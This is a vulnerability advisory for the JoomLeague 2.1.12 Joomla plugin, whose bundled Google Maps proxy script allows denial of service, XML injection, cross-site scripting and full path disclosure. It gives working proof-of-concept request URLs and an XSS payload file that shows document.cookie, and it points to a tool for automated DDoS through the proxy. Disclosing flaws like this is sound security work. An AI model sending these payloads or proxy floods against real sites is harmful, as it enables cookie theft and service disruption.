Joomla JoomLeague 2.1.12 XSS / XML Injection

`Hello list!  
  
These are Denial of Service, XML Injection, Cross-Site Scripting, Full path  
disclosure and Insufficient Anti-automation vulnerabilities in JoomLeague  
plugin for Joomla.  
  
These vulnerabilities are in Google Maps plugin for Joomla, which is used in  
this plugin. In 2013-2014 I wrote advisories about multiple vulnerabilities  
in Google Maps plugin (http://securityvulns.ru/docs29645.html,  
http://securityvulns.ru/docs29670.html and  
http://seclists.org/fulldisclosure/2014/Feb/53).  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable are JoomLeague 2.1.12 plugin for Joomla and previous versions.  
And packet joomleague-2-komplettpaket, which includes JoomLeague plugin.

----------  
Details:  
----------  
  
Denial of Service (WASC-10):  
  
http://site/components/com_joomleague/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=google.com  
  
Besides conducting DoS attack manually, it's also possible to conduct  
automated DoS and DDoS attacks with using of DAVOSET  
(http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2013-June/008850.html).  
  
XML Injection (WASC-23):  
  
http://site/components/com_joomleague/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=site2/xml.xml  
  
It's possible to include external xml-files. Which also can be used for XSS  
attack:  
  
XSS via XML Injection (WASC-23):  
  
http://site/components/com_joomleague/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=site2/xss.xml  
  
File xss.xml:  
  
<?xml version="1.0" encoding="utf-8"?>  
<feed>  
<title>XSS</title>  
<entry>  
<div  
xmlns="http://www.w3.org/1999/xhtml"><script>alert(document.cookie)</script></div>  
</entry>  
</feed>  
  
Cross-Site Scripting (WASC-08):  
  
http://site/components/com_joomleague/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=%3Cbody%20onload=alert(document.cookie)%3E  
  
This is possible with corresponding PHP settings, when warnings are shown.  
  
Full path disclosure (WASC-13):  
  
http://site/components/com_joomleague/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php  
  
This is possible with corresponding PHP settings, when warnings are shown.  
  
Insufficient Anti-automation (WASC-21):  
  
In this functionality there is no reliable protection from automated  
requests.  
  
Also in my third advisory concerning Google Maps plugin, I wrote about  
security bypass for built-in domain restriction functionality and described  
method of bypass protection against automated requests introduced in version  
3.2. So even the latest version is vulnerable to IAA.
